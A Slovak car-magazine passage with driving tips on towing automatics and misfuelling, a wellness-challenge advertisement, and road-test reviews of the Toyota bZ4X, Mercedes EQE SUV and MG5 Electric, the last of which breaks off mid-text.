aby sa dalo naštartovať pomocou štartova-
cích káblov. Možnosť odistiť volič automatic-
kej prevodovky má každé auto, treba si pre 
konkrétny model v návode zistiť, kde je a ako 
funguje. Ani v polohe N sa neodporúča vo-
zidlo s automatickou prevodovkou ťahať na 
dlhšiu vzdialenosť. Na rozdiel od áut s ma-
nuálnou prevodovkou nemajú spojku, takže 
motor je s kolesami spojený hydraulicky cez 
planétové prevody, takže nie je k dispozícii 
pevný prenos z kolies na motor. Preto ta-
kéto auto možno ťahať len s naštartovaným 
motorom, nízkou rýchlosťou a na krátku 
vzdialenosť. Auto s vypnutým motorom 
sa dá v polohe N ťahať len na veľmi krátku 
vzdialenosť, na najbližšie bezpečné miesto, 
kde sa dá počkať na odťahovú službu. Ťaha-
nie na dlhšiu vzdialenosť by mohlo spôsobiť 
poškodenie prevodovky v dôsledku nedo-
statočného mazania, keďže čerpadlo nepre-
čerpáva olej.

  Natankovanie nesprávneho paliva – 
hlavne v zahraničí si pred každým tankova-
ním dôkladne skontrolujte, ktorá tankovacia 
pištoľ je so správnym druhom paliva pre 
vaše auto. Keďže priemer ústia pištole s naf-
tou je väčší než priemer pištole s benzínom, 
častejší problém je natankovanie benzínu do 
nádrže auta s dieselovým motorom. Ak na-
tankujete omylom malé množstvo benzínu, 
typicky 3-4 litre, a chybu si hneď všimnete, 
nemusíte riešiť jeho vyčerpávanie, stačí do-
tankovať do zvyšku nádrže naftu a môžete 
pokračovať v jazde. Ak si chybu všimnete ne-
skoro a natankujete viac benzínu, v žiadnom 
prípade neštartujte. Zavolajte asistenčnú 
službu alebo nechajte auto odtiahnuť do 
najbližšieho servisu, kde situáciu vyriešia. 
Naftu z pištole so širokým ústím by sa vám 
do úzkeho hrdla nádrže auta s benzínovým 
motorom nemalo podariť natankovať. Ak 
predsa len a všimnete si to, auto neštartujte 
a kontaktujte servis alebo asistenčnú službu.

 Naliatie kvapaliny do ostrekovačov do 

nádrže chladiča – táto situácia môže nastať 
aj napriek väčšinou výraznému označeniu 
uzáverov obidvoch nádržiek. V takom prípade 
sa snažte vyčerpať kvapalinu z nádržky chla-
diča pomocou hadičky a naliať správnu chla-
diacu zmes. Nie je to až taký veľký problém, 
takže po takejto chybe môžete pokračovať v 
jazde do najbližšieho servisu.

  »  ĽUBOSLAV LACKO 

ÚVODNÉ FOTO ZDROJ : SHUTTERSTOCK.COM

NEOČAKÁVANÉ 
SITUÁCIE V AUTE
Počas jazdy aj v súvislosti s prevádzkou auta vás môžu zaskočiť rôzne 
situácie, niektoré nepríjemné, niektoré aj nebezpečné. Je dobré,  
ak ste na ne pripravení.
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Počas nasledujúcich dvoch mesiacov vás pozývame na  
cestu sebapoznania, aktivity a pozitívnej transformácie.  
Naším cieľom nie je len schudnúť, ale naučiť sa milovať  
a starostlivo sa starať o naše telo, myseľ a dušu.

Každý deň sa budeme venovať rôznym aspektom  
zdravia a pohody, vrátane športových aktivít, wellness  
a beauty rituálov, kultúrnych zážitkov a zdravého stravovania.  
Budeme spoločne objavovať nové spôsoby, ako sa cítiť lepšie,  
energickejšie a radostnejšie. Vytvorme si spoločenstvo,  
ktoré sa podporuje a inšpiruje, aby dosiahlo svoje najvyššie  
potenciály. Buďte pripravení na zmenu, pretože každý deň  
bude novou príležitosťou pre rast a transformáciu! 

VIESŤ VÁS BUDÚ NAŠI AMBASÁDORI: 

Pridaj sa k nám! 
Na záver výzvy odmeníme niekoľko účastníkov za ich úsilie, oddanosť a úspechy. 
Buďte pripravení na výzvu svojho života a na trvalé zmeny, ktoré prinesie.  
Začnime túto cestu k zdraviu, šťastiu a naplneniu spoločne!

VIAC INFO

60-dňová výzva 
k zdravému  

a naplnenému životu!

CHALLENGE Vitality Boost 2024

ZAČÍNAME 
1. APRÍLA 

2024!

tréner Peter Nuota,  
ktorý má pod  
palcom pohyb  

výživová špecialistka 
Nutriadapt  

Katarína Chomová  

wellness a wellbeing 
koučka – herečka  
Diana Klamová  

tipy na trávenie voľného  
času dá šéfredaktorka  

Jana Fialová
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Toyota bZ4X FWD Prestige

Toyota si so svojím prvým elektromobilom 
dala na čas a model bZ4X prišiel na trh s 

pomerne veľkým oneskorením. No keby sme 
šli do dôsledku, v skutočnosti Toyota už zopár 
elektromobilov vyrábala, ale šlo zväčša iba o 
modely s pomerne malým dojazdom, určené na 
špecifické trhy, ktoré sa do Európy vôbec nedo-
stali. Nová Toyota bZ4X je prvý model výrobcu 

postavený na platforme 
e-TNGA a bola vyvíjaná 
v spolupráci so spoloč-
nosťou Subaru. Platforma 
integruje batériu ako ne-
oddeliteľnú časť šasi pod 

podlahou vozidla, čo poskytuje výhody nízkeho 
ťažiska, výborného rozloženia hmotnosti a vy-
sokej tuhosti karosérie. Trocha zvláštne ozna-
čenie bZ (z anglického beyond Zero) vyjadruje 
auto s menej ako nulovými emisiami, štvorka 
označuje umiestnenie v modelovom rade a X 
znamená vyššiu karosériu typu SUV.

Vozidlo vďaka dlhému rázvoru ponúka do-
statok priestoru pre piatich cestujúcich, aj keď 
vzadu sa pohodlne odvezú skôr menšie osoby 
alebo deti. Dostatočne veľký je aj batožinový 
priestor. Zvonka zaujme elegantný a robustný 
dizajn karosérie s kladivovou prednou časťou 
a výraznými plastovými doplnkami evokujúcimi 
univerzálne použitie aj terénne ambície. Dizajn 
prednej časti dopĺňajú úzke pruhy adaptív-
nych LED svetlometov s matrixovou funkciou a 
denným LED svietením, nad ktorými sú krytky 
pripomínajúce mihalnice privretých očí. Zadná 
časť evokuje dizajn obľúbeného modelu CHR 
so zaujímavou kresbou zadných svetiel. 

Vozidlo sa dodáva v dvoch základných kon-
figuráciách, s pohonom všetkých kolies s výko-
nom 160 kW a krútiacim momentom 336 Nm 
alebo s pohonom predných kolies s výkonom 
150 kW a krútiacim momentom 265 Nm, aký 
bol aj testovaný kus. Obe verzie sú osadené 
rovnakou batériou s kapacitou 71,4 kWh, z kto-
rej sa využíva 64 kWh. Keďže Toyota čerpala zo 
svojich takmer 25-ročných skúseností s batério-
vou technológiou, deklaruje, že aj po 10 rokoch 
batéria bude stále fungovať na 90 % svojho pô-
vodného výkonu. Podmienkou na túto záruku 
je absolvovanie každoročného testu batérie, 
tak ako to poznáme z hybridov značky Toyota. 
Vozidlo umožňuje zrýchlenie z 0 na 100 km/h 
za 7,5 sekundy a maximálnu rýchlosť 160 km/h. 
Podľa WLTP je udávaný dojazd až 516 km. 

Po nastúpení do vozidla zaujme kvalitné 
spracovanie interiéru a nezvyčajné riešenie di-
gitálneho prístrojového štítu, na ktorý sa poze-
ráte ponad volant. Výrobca pôvodne uvažoval 
o využití špeciálneho zrezaného volantu pri-
pomínajúceho barany v lietadle so systémom 
steer-by-wire, teda „riadením po drôte“, ktorý 
mal byť dodávaný na želanie v rámci systému 
One Motion Grip. No vyzerá to tak, že z tohto 
zámeru nakoniec zostala práve iba čudná pa-
lubná doska. Nastavenie volantu do správnej 
polohy tak je náročnejšie a vychádzalo nám 
príliš nízko. Dá sa na to síce zvyknúť, ale rad-
šej by sme prijali klasickejší prístrojový panel v 
kombinácii s projekčným displejom HUD, ktorý 
pre tento model výrobca neponúka. Kabína 
je vcelku priestorná, vpredu však miesto ob-
medzuje nezmyselne široká stredová konzola. 

Týmto neduhom dnes trpí viacero moderných 
áut a pohodlie je, žiaľ, obetované dizajnu. Stre-
dový panel aj s displejom je navyše obrovskou 
lesklou plochou, na ktorej neustále vidíte prach 
a odtlačky prstov. Displej je veľký, s vysokým 
rozlíšením. Pod ním sa nachádza rad dotyko-
vých tlačidiel ovládania klimatizácie, hlavné 
ovládače sú však mechanické, rovnako aj tla-
čidlá na volante. Volič režimov jazdy je otočný, 
pred zmenou režimu musíte zatlačiť vonkajšiu 
obruč a pootočiť. Na rozdiel od mnohých kon-
kurentov si Toyota zachováva väčšinu nastavení 
na prístrojovom paneli, centrálny displej je vy-
hradený iba infotainmentu. Trochu sklamaním 
tu bola navigácia, ktorú automobilka používa vo 
viacerých nových modeloch. Jej zobrazenie nie 
je preškálované na vysoké rozlíšenie displeja, 
takže všetky nápisy a symboly sú veľmi malé 
a počas jazdy zle čitateľné. Ak vypnete hlasové 
navádzanie, po zapnutí auta sa vždy zapne, aj 
vtedy, keď iba pokračujete v trase. Z hľadiska 
elektromobilu navyše navigácia nemá žiadne 
funkcie okrem náhľadu dojazdu na mapke, čo 
je pri takomto modernom aute trocha málo. 
Android Auto a Apple CarPlay pracujú iba cez 
kábel. Pokiaľ napríklad Android Auto použí-
vate a pri ďalšom zapnutí auta kábel k mobilu 
nepripojíte, telefón sa nepripojí cez bluetooth 
napriek tomu, že je spárovaný, tak ako je to pri 
všetkých iných autách, ale zostane odpojený 
a vy musíte ísť do menu zariadení a prepnúť 
prepínače na používanie bluetooth. Dúfame, že 
túto softvérovú chybu výrobca odstráni. 

Ponuka asistenčných systémov je pomerne 
bohatá a systém Toyota Safety Sense tretej 

„KVALITNÝ 
PODVOZOK A BOHATÁ 

TECHNOLOGICKÁ 
VÝBAVA."

POHODLNÝ NA DENNÉ JAZDENIE
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generácie pracuje spoľahlivo a stráži vašu bez-
pečnosť, a to aj pri cúvaní. Je tu adaptívny tem-
pomat a udržiavanie jazdného pruhu. Systémy 
pracujú veľmi dobre a ich správanie je pred-
vídateľné. V prípade, že dlhší čas nereagujete 
na výzvy na držanie volantu, systém prejde 
do režimu automatického zastavenia, spustí 
výstražné svetlá a pozvoľna zastaví. Vo výbave 
bol aj asistent na bezpečné vystupovanie, 
ktorý stráži vašu bezpečnosť pri vystupovaní, 
ak sa zozadu približuje hrozba. Vzhľadom 
na kvalitu displeja pôsobí ako päsť na oko 
nízka kvalita obrazu spätnej kamery. Oceňu-
jeme však automatické vyhrievanie sedadiel a 
volantu. To pracuje výborne a po zohriatí sa 
výkon vyhrievania postupne znižuje, aby vás 
zbytočne neobťažovalo.  

Z pohľadu pohonného systému a jazdenia 
vozidlu nie je veľmi čo vyčítať. Napriek tomu, 
že papierovo výkon ani krútiaci moment, 
najmä pri predokolke, neoslnia, po usadnutí 
do auta je to o inom. Auto má prekvapivo 
dobrý záťah a aj vďaka výbornému podvozku 
umožňuje veľmi príjemnú, dynamickú jazdu. V 
zákrutách sa veľmi nenakláňa a riadenie pra-
cuje veľmi presne. Pri jazdení po okreskách a 
po meste je jazda tichá a pokojná. Pri jazde 
po diaľnici sa však ukáže nedostatočné od-
hlučnenie auta a pri vyšších rýchlostiach (asi 

nad 110 km/h) sa pomerne výrazne prejavuje 
aerodynamický hluk. 

Samostatná kapitola je nabíjanie. Výrobca 
deklaruje výkon nabíjania 150 kW, počas zim-
ného testu sme sa však nedostali cez 100 kW. 
Auto by malo mať vodné chladenie/vyhrievanie 
batérie, v zimnom období sa však nedá manu-
álne zapnúť a nezistíte, či funguje automaticky. 
Ani na navigácii navyše nenastavíte nabíjačku 
ako cieľ. Nabíjací výkon sa nám nezvýšil ani po 
1,5-hodinovej jazde po diaľnici. Nabíjanie teda 
zostáva tak trochu lotériou, raz ide 45 kW, raz 
100 kW. Okrem toho si nemožno ani nastaviť 
nabíjanie do 80 %. Na druhej strane do 80 % 
sme zväčša nabili do 40 minút, čo je síce trocha 
pomalšie, ale použiteľné. Z pohľadu spotreby 
bZ4X na tom nie je najhoršie, celkovo sme 
dosiahli spotrebu 24,2 kWh/100 km. To nie je 
málo, ale na zimný test a kombináciu s diaľni-
cou to nie je ani najhoršie. Vcelku sme jazdili 
so spotrebou medzi 18,5 – 26 kWh/100 km, 
takže maximálny dojazd v zimných podmien-
kach sa pohyboval medzi 250 až 355 km. Preto 
je model bZ4X vhodný skôr ako druhé vozidlo 
do rodiny. Na každodenné jazdenie síce poslúži 
ako hlavné rodinné vozidlo, pri jazdách na do-
volenku však budete musieť viac plánovať. 

Toyota bZ4X je zaujímavé vozidlo, ktoré po-
núka pohodlné a svižné jazdenie, bohatú tech-

nologickú výbavu a výborné jazdné vlastnosti. 
Špeciálne jazdné režimy umožňujú hlavne pri 
verzii AWD aj občasný výjazd do terénu, na 
čerstvo napadnutej vrstve snehu sa nám však 
výborne osvedčil režim snow aj na predokolke. 
Vo vyšších výbavách sú výborné adaptívne svet-
lomety a bohaté technologické vybavenie. Je tu 
zopár nedostatkov, tie však nemusia prekážať 
každému a benefit dlhej záruky na batériu môže 
byť zaujímavým vyvažujúcim faktorom. Name-
ranú spotrebu treba brať s rezervou, testovaný 
kus nebol vybavený tepelným čerpadlom, a tak 
v zimnom období je spotreba vyššia. Je pred-
poklad, že výrobca bude ešte systém ladiť pro-
stredníctvom diaľkových aktualizácií. 

  »  RENÉ HUBINSKÝ 
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TECHNICKÉ ÚDAJE:

Technologická výbava, podvozok, spra-
covanie, multibeam svetlomety, nad-
štandardná záruka na batériu
Slabšie nabíjanie v zime, nedotiahnutá 
navigácia–

 Cena modelu od (s DPH): 43 990 EUR 
 Testované vozidlo (s DPH): 50 900 EUR

PLUSY, MÍNUSY:

 Synchrónny elektromotor s permanentnými 
magnetmi, výkon: 150 kW, krútiaci moment: 
265 Nm, poháňaná náprava: predná, max. 
rýchlosť: 160 km/h, zrýchlenie z 0 na 100 
km/h: 7,5 s, kapacita akumulátora: 71,4 kWh, 
využiteľná 64 kWh, max. dojazd (WLTP): 516 
km, nabíjanie: DC 150 kW, AC 11 kW/3f 

+

TESTY:

 Spotreba v teste (kWh/100 km)

 Dojazd v teste (km)

 Výkon AC nabíjania na 22 kW  
3f nabíjačke (kW)

 Max. výkon DC nabíjania UFC 
nabíjačka 350 kW (kW)

 Čas nabíjania 10-80 % (min)

18,5 - 26

350 - 246

11 

100 

39



Mercedes vo svojej elektrickej ofenzíve nepo-
zná hranice a v jeho portfóliu nájdeme elek-
trické ekvivalenty v podstate naprieč všetkými 
triedami. To platí aj o novom EQE SUV, ktoré 
má svoj vzor, aj keď o niečo väčší, v modeli GLE. 
Samozrejme, inak tieto modely veľa spoločného 
nemajú a EQE SUV z technickej aj dizajnovej 
stránky viac vychádza z EQS SUV. Vozidlá sa líšia 
hlavne prednou maskou, ktorá je na EQE SUV 
menej členitá, bez veľkých lapačov vzduchu 
pred kolesami a vo svetlách má pod pásikom 

denného svietenia iba dva 
zuby namiesto troch. Tvar 
karosérie aj zadná časť sú 
takmer zhodné, ale model 
EQE SUV je o niečo menší, 

pričom najväčší rozdiel je v dĺžke, ktorá je o 262 
mm menšia ako pri EQS SUV. Je to dané hlavne 
tým, že EQE SUV má iba päťmiestne usporiada-
nie. Na aute to na prvý pohľad nevidieť, ale EQS 
SUV má dlhšie zadné dvere. 

Keďže je EQE SUV menšie, zmenšila sa aj 
kapacita batérie. Má využiteľnú kapacitu 90,6 
kWh oproti 108,4 kWh pri EQS. Pri Mercedese 
je však všetko o efektivite. Automobilka vo svo-
jich vozidlách používa dvojicu elektromotorov s 
rôznym naladením, vďaka čomu dokážu jazdiť 
s vysokou efektivitou v celom rozsahu rýchlostí. 
Vzhľadom na to, že maximálnu rýchlosť do-
siahne až pri 210 km/h, je to skôr nutnosť. EQE 
SUV je navyše v prednej pohonnej jednotke 
eATS vybavený zariadením, ktoré v prípade 
potreby motor za jazdy odpojí, aby nekládol 
odpor. Systém vozidla totiž vtedy, keď je to 
efektívne, zvolí namiesto rekuperácie plachte-
nie. Napriek karosérii typu SUV sa výrobcovi 

podarilo dosiahnuť súčiniteľ odporu iba 0,25, 
za čo by sa nemusel hanbiť nejeden sedan. Pri 
pozornejšom preskúmaní vozidla vidieť, ako sa 
konštruktéri hrali s aerodynamikou – od vyhla-
denej prednej masky a oblých tvarov s utesne-
nou kapotou a elektrickými klapkami chladenia 
cez stierače zasunuté pod profilom kapoty, 
tvarované disky kolies, aerodynamické prvky 
na nápravách, zakrytovaný podvozok, spätné 
zrkadlá na dlhších tvarovaných pylónoch až po 
krátky spojler vzadu a difúzor v spodnej časti. 
Tieto opatrenia spolu so zlepšeným akumulá-
torom a pohonnými jednotkami majú zásluhu 
na nízkej spotrebe auta.  

Testovaný model EQE 500 4MATIC SUV je 
najvýkonnejšou verziou EQE SUV od Mer-
cedes EQ. Výkonnejšie budú iba modely od 
AMG. Vozidlo má systémový výkon 300 kW 
a krútiaci moment 858 Nm. Je vybavené aku-
mulátorom s využiteľnou kapacitou 90,6 kW 
a elektrickým hnacím ústrojenstvom (eATS) na 
prednej aj zadnej náprave. Oba elektromotory 
sú synchrónne s permanentnými magnetmi a 
sú konštruované ako 6-fázové. Výhodami tejto 
konštrukcie sú vysoká hustota výkonu, účin-
nosť a vysoká výkonová konštanta. Vozidlo má 
zase o niečo rozšírenú ponuku funkcií, ktoré 
možno dodatočne na diaľku aktivovať. Môžete 
tak napríklad aktivovať aj asistenčný systém 
na manévrovanie s prívesom, rozšírenú realitu 
MBUX pre navigáciu a viacero ďalších funkcií. 
Podvozok je štandardne vybavený vzducho-
vým pružením AIRMATIC s kontinuálne nasta-
viteľným tlmením ADS+. Výšku vozidla možno 
zvýšiť pri jazde na horšom povrchu. Okrem 
bežných jazdných programov je vo výbave aj 

program TERÉN. Testovacie vozidlo disponuje 
riadením zadnej nápravy s voliteľným uhlom 
natočenia kolies o 10°, sériovo je to 4,5°. Aj túto 
funkciu možno aktivovať dodatočne. Multime
diálny systém je najnovšou generáciou systému 
MBUX s navigačným systémom s elektrickou 
inteligenciou a s podrobným plánovaním nabí-
jacích zastávok na optimálnu jazdu. Pomocou 
funkcie Mercedes me Charge, Plug and Charge 
sa dá auto nabiť na kompatibilných nabíjačkách 
jednoduchým pripojením kábla. Autorizácia sa 
vykoná automaticky. Mercedes me Charge má 
k dispozícii viac ako 700 000 nabíjacích miest 
s možnosťou AC alebo DC nabíjania, z toho 
viac ako 300 000 nabíjacích miest sa nachádza 
v Európe. Vozidlo používa 400 V systém a je vy-
bavené ultrarýchlym DC nabíjaním s výkonom 
170 kW, pri testovaní sme dosiahli dokonca 
173 kW. V menu môžete teraz vidieť aj aktu-
álny maximálny nabíjací výkon, ktorý umožní pri 
ďalšom nabíjaní v závislosti od stavu nabitia ba-
térie a jej teploty. Ak zadáte ako cieľ nabíjačku, 
auto si počas jazdy automaticky spustí prípravu 
batérie na nabíjanie tak, aby bol dosiahnutý čo 
najlepší výkon. Počas jazdy je k dispozícii nie-
koľko spôsobov ovládania rekuperácie – od 
manuálnej po inteligentnú automatiku. Systém 
pracuje s rekuperačným výkonom až 290 kW. 
AC nabíjačka je sériovo trojfázová s výkonom 
11 kW, voliteľne s výkonom 22 kW. 

Pri vstupe do interiéru na vás dýchne závan 
luxusu. Ten ešte zvýrazňuje biely interiér, na 
palubnej doske vhodne doplnený obrovskou 
plochou z dreva magnólie s otvorenými pórmi 
a so vsádzanými striebornými hviezdičkami. 
Napriek tomu, že aj EQE SUV môže byť vyba-
vený voliteľným displejom Hyperscreen, verzia 
bez neho má takisto svoje nezanedbateľné 
čaro. Z funkčnej stránky je totiž systém MBUX 

EQE 500 4MATIC SUV od Mercedes EQ

„ŠPIČKA MEDZI 
ELEKTRICKÝMI SUV."

KRÁĽ ELEKTRICKÝCH SUV
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zhodný a dvojica vysokokvalitných displejov, 
12,3" displeja vodiča a 12,8" multimediálneho 
displeja, orientovaného na výšku, zobrazuje 
všetko potrebné. Výhodou je predsa len o niečo 
menej lesklej plochy na chytanie prachu, aj keď 
vzhľadom na to, že v podstate celá predná časť 
stredovej konzoly má úpravu v čiernom klavír-
nom laku, handričku potrebovať budete. Dis-
pleje dopĺňa vynikajúci head-up displej, ktorý 
má rovnako ako prístrojový panel možnosť 
prepínania viacerých tém zobrazenia. Tu by sa 
viacerí konkurenti mohli učiť. Navigácia s už 
spomínaným systémom elektrickej inteligencie 
je najprepracovanejším systémom plánovania 
trás pre elektromobily. Po zadaní trasy a podľa 
predvolených podmienok dopodrobna rozpíše 
celý priebeh trasy s nabíjacími zástavkami. Pri 
tých preferuje pokiaľ možno najvýkonnejšie na-
bíjačky po trase, vypíše, s akým zvyškom SOC 
batérie v percentách dorazíte a ako dlho a do 
akej úrovne máte nabíjať. Môžete si pritom 
predvoliť, či preferujete viac krátkych zastávok, 
alebo menej s dlhším nabíjaním, ako aj zosta-
tok batérie pri príjazde do cieľa. To je dôležité, 
ak idete niekam, kde nie je možnosť nabíjania 
alebo nebudete mať čas nabíjať. Systém pra-
cuje s vysokou presnosťou predikcie a v cieli 
sa so zostatkom batérie zmýlil najviac o 2 %, a 
to aj pri dlhých a členitých trasách. Pri jazde v 
automatickom režime bol vždy odhad presný. 
Súčasťou výbavy je nepreberný zástup asistenč-
ných systémov, na ktoré sme už vo vozidlách 
výrobcu zvyknutí. Okrem tých bežných je za
ujímavý napríklad systém podpory pri vyhýbaní, 
ktorý pomáha vodičovi pri vyhýbacom manévri, 
alebo systém bočného impulzu PRE-SAFE, 
ktorý pri náraze do vozidla zboku tesne pred 
nárazom zdvihne stranu, do ktorej prichádza 
náraz, a vystaví tak nárazu spodný rám, ktorý 
je najpevnejšou časťou konštrukcie. Účinne tak 
zabraňuje zraneniu posádky. Na presné udr-
žiavanie jazdného pruhu má vozidlo aj zadné 

snímače pre asistenčný systém udržiavania v 
jazdnom pruhu, ktoré využíva aj aktívny asis-
tent zmeny jazdného pruhu. V zápchach pri 
malej rýchlosti vozidlo umožňuje autonómnu 
jazdu. Samozrejmosť je parkovací asistent 
Parktronic. V noci oceníte špičkové digitálne 
svetlomety Digital Light s vykresľovaním sym-
bolov na vozovku a k pohode na palube pri-
spieva high-end zvukový systém Burmester. 

Súčasťou výbavy sú, samozrejme, aj tele-
matické služby s možnosťou kontroly a ovlá-
dania niektorých funkcií vozidla na diaľku. 
Vďaka nim si môžete skontrolovať uzamknu-
tie a uzavretie vozidla, prípadne uzamknúť 
vozidlo, spustiť vyhrievanie, klimatizáciu, na-
plánovať nabíjanie a veľa ďalšieho. 

Jazdné výkony a komfort nezaostávajú. 
EQE SUV patrí k najlepšie odhlučneným 
autám na trhu a vďaka špičkovému vzdu-
chovému podvozku sa v ňom vozíte ako na 
obláčiku. S impozantným zrýchlením z 0 na 
100 km/h za 4,3 s vám výkon určite chýbať 
nebude. Ako sa na Mercedes patrí, spotreba 
je v medziach slušnosti. V rámci mesta a okre-
siek sme vedeli jazdiť za 19,2 kWh/100 km, na 
diaľnici sa spotreba šplhala na 24,5 kW/100 
km, ale priemer za celý test sme dosiahli 22,6 
kW/100 km s asi 50 % podielom diaľnice. To 
sú na takéto veľké auto veľmi slušné hodnoty. 

  »  RENÉ HUBINSKÝ 

TECHNICKÉ ÚDAJE:

Technologická výbava, možnosti  
nabíjania, jazdné vlastnosti, spracova-
nie, priestor v kabíne aj v kufri, vyspelá 
klimatizácia, špičkový audiosystém, 
autonómne parkovanie 
Nič podstatné–

 Cena modelu od (s DPH): 105 120 EUR 
 Testované vozidlo (s DPH): 130 704 EUR

PLUSY, MÍNUSY:

 Kapacita batérie 100 kWh (využiteľná 90,6 
kWh), pohon všetkých kolies 4Matic, systé-
mový výkon max. 300 kW, krútiaci moment 
858 Nm, nabíjanie DC 170 kW, AC 11 kW 3f 
(voliteľne 22 kW), zásuvka CCS, zrýchlenie z 
0 na 100 km/h 4,3 s, max. rýchlosť 210 km/h, 
dojazd WLTP 508 km

+

TESTY:

 Spotreba v teste (kWh/100 km)

 Dojazd v teste (km)

 Výkon AC nabíjania na 22 kW  
3f nabíjačke (kW)

 Max. výkon DC nabíjania UFC 
nabíjačka 350 kW (kW)

 Čas nabíjania 10-80 % (min)

19,2- 22,6 - 24,5

368-475

11 

173 

30
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MG5 je na našom trhu už druhým elek-
tromobilom tejto značky a je to tak

isto prvé elektrické kombi, ktoré sa u nás 
predáva. Rovnako ako jeho súrodenec MG4 
stojí na špecializovanej elektrickej platforme 
MSP (Modular Scalable Platform). V neustále 

sa vyvíjajúcom svete 
elektromobilov pôsobí 
MG5 ako líder, hlavne 
pre tých, ktorí hľadajú 
praktickosť s výhodami 
elektrickej jazdy popri 
cenovej dostupnosti. 

Aj keď je pravda, že cenové výpady Tesly v 
poslednom čase spôsobili na trhu rozruch a 
viacero modelov dnes dostanete za zvýhod-
nené ceny, elektromobil s porovnateľnou 
kombináciou veľkosti, dojazdu a výbavy bu-
dete hľadať ťažšie, ale ak z niektorých pa-
rametrov trocha spustíte, konkurenti by sa 
našli. Lacnejšia konkurencia ponúka zväčša 
nižší dojazd. 

Dizajnový jazyk MG5 je podobný ako pri 
MG4, ale okrem základných čŕt autá veľa 

spoločného nemajú. Určite nejde o kombi 
verziu MG4. Spoločná je snaha o aerody-
namické tvary v prednej časti bez rušivých 
prvkov. MG5 má takisto hladkú prednú 
masku a nasávanie chladiaceho vzduchu je 
realizované cez mriežku s elektrickým ovlá-
daním v spodnej časti. Svetlá sú zverené 
LED technológii s automatickým prepínaním 
diaľkových, ale bez ďalších funkcií. Svieti-
vosťou patria k lepšiemu priemeru, uvítal 
by som však aspoň prisvietenie do zákrut. 
V strede prednej masky je tentoraz umiest-
nený aj nabíjací konektor CCS s mechanicky 
otváranými dvierkami. Toto umiestnenie je 
výhodné, pretože nezáleží na tom, z ktorej 
strany sa postavíte k nabíjačke. 

Vozidlo sa dodáva v dvoch verziách, 
ktoré sa líšia použitou batériou a výkonom 
motora. V oboch prípadoch je poháňaná 
predná náprava. Verzia Emotion je vybavená 
batériou typu LFP s kapacitou 50,3 kWh, z 
ktorej sa využíva 46 kWh, elektromotor s 
výkonom 130 kW má krútiaci moment 280 
Nm a vozidlo dosahuje dojazd 320 – 438 
km podľa WLTP. Testovaná verzia Excite 
má klasickú Li-ion batériu NMC s kapaci-
tou 61,1 kWh, z ktorej sa využíva 57,4 kWh. 
Elektromotor s výkonom 115 kW (156 k) a 
krútiacim momentom 280 Nm umožňuje 
dojazd podľa WLTP na úrovni 400 – 538 
km. S nabíjaním to nie je slávne. Maximálny 
výkon DC nabíjania je iba 87 kW, takže z 10 
na 80 % batériu nabijete za 40 minút. Vsta-
vaná AC nabíjačka je trojfázová s výkonom 
11 kW. Vozidlo má možnosť manuálneho 
zapnutia vyhrievania batérie. Pri teplotách 
okolo -5 °C trvalo jej vyhriatie asi 25 – 30 

minút. Potom nabíjanie prebiehalo výko-
nom okolo 72 kW. Zaujímavé je, že vozidlo 
štandardne nemá predný kufor, možno si 
ho však dokúpiť ako príslušenstvo. Podpo-
rovaná je aj funkcia V2L na napájanie 230 
V externých zariadení s výkonom 2,2 kW. 
Na jej využitie si musíte dokúpiť redukčný 
kábel do napájacieho konektora s dvojicou 
230 V zásuviek. 

Pri nástupe do kabíny zaujme jej 
priestrannosť a kvalita spracovania. Zaují-
mavé je, že pri porovnaní s modelom MG 
4 zistíte, že okrem softvéru infotainmentu 
tu veľa podobností nenájdete. Kabína je 
koncipovaná úplne ináč. Stredová konzola 
je potiahnutá až k lakťovej opierke a sú v 
nej umiestnené držiaky nápojov a v zadnej 
časti pod opierkou priestor na smartfón s 
bezdrôtovým nabíjaním. Priestor vpredu 
je tak vďaka pomerne širokej konzole aj 
napriek dostatočnej šírke kabíny stiesne-
nejší. Výrobca stavil na moderný vzhľad 
interiéru, čo, žiaľ, vidieť na použití lesklých 
povrchov s klavírnym lakom. Tieto plochy 
síce pridávajú na elegancii, ale vyžadujú si 
časté čistenie od prachu a odtlačkov prs-
tov. Podobne je to aj s lesklým povrchom 
centrálneho 10,25" displeja, na ktorom ne-
zaznamenáte veľa odleskov len vďaka jeho 
dobrému umiestneniu. Displej má vysoké 
rozlíšenie a pomerne dobrú grafiku, iba 
písmo by mohlo byť o niečo väčšie. Displej 
je doplnený o rad dotykových tlačidiel na 
priame ovládanie klimatizácie a multimé-
dií. Pri zapnutí funkcie na tlačidle svieti 
piktogram. Oproti MG4 chválim dvojicu 
mechanických kolískových tlačidiel pred 

MG5 Electric Excite

„RODINNÉ VOZIDLO S 
BOHATOU VÝBAVOU 

A VÝBORNÝMI 
JAZDNÝMI 

VLASTNOSŤAMI."

ELEKTRICKÝ „KOMBÍK“
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  Nabíjací konektor je umiestnený prakticky,  
v strede prednej masky



voličom jazdných režimov, ktorými možno 
rýchlo prepínať jazdné módy aj účinnosť 
rekuperácie v troch stupňoch. Ani v tom 
najvyššom však nejde o jednopedálové 
ovládanie až do zastavenia, čo je trocha 
škoda, ale pri jazde kľukatými okreskami 
je to aj tak dobrý pomocník. Na stredovom 
paneli nájdete aj tlačidlo zapnutia funkcie 
Auto Hold, ktoré si pamätá nastavenia aj 
po vypnutí. Prístrojový panel je digitálny, 
s displejom v celej centrálnej časti a s pol-
kruhovými zobrazeniami rýchlosti a vý-
konu po stranách. V strednej časti možno 
zobrazovať viacero obrazoviek palubného 
počítača, asistentov a nastavovať systém. 
Pozitívne hodnotím, že prístrojový panel 
má antireflexný povrch, takže neodráža 
okolie. Vo výbave je tentoraz aj integro-
vaná navigácia, aj keď bez vyspelejších 
funkcií pre elektromobil. Je tu aj podpora 
pre Android Auto a Apple CarPlay, ale len 
cez káblové pripojenie. Trocha zvláštne 
je riešená klimatizácia, ktorá je síce au-
tomatická, ale nemá možnosť nastavenia 
teploty. Tú si nastavujete iba na neciacho-
vanom modro-červenom pásiku. 

Na zadných sedadlách je miesto skôr pre 
menšie postavy a deti. Na krajných sedad-
lách sú držiaky ISOFIX a v strede možno vy-
klopiť masívnu opierku na ruky. Batožinový 
priestor je dostatočne veľký, žiaľ, sedadlá 
nemožno sklopiť do roviny. Zadní cestujúci 

majú k dispozícii dvojicu USB na stredovom 
paneli, jeden USB-A a jeden USB-C.

Asistenčné systémy sú združené pod 
označením MG Pilot. Ten ponúka systémy 
ako automatické brzdenie, adaptívny tem-
pomat, aktívne udržiavanie v jazdnom 
pruhu, asistent jazdy v kolóne, inteligentný 
obmedzovač rýchlosti podľa značiek či au-
tomatické diaľkové svetlá, ktoré výrazne 
prispievajú k bezpečnosti a pohodliu jazdy. 
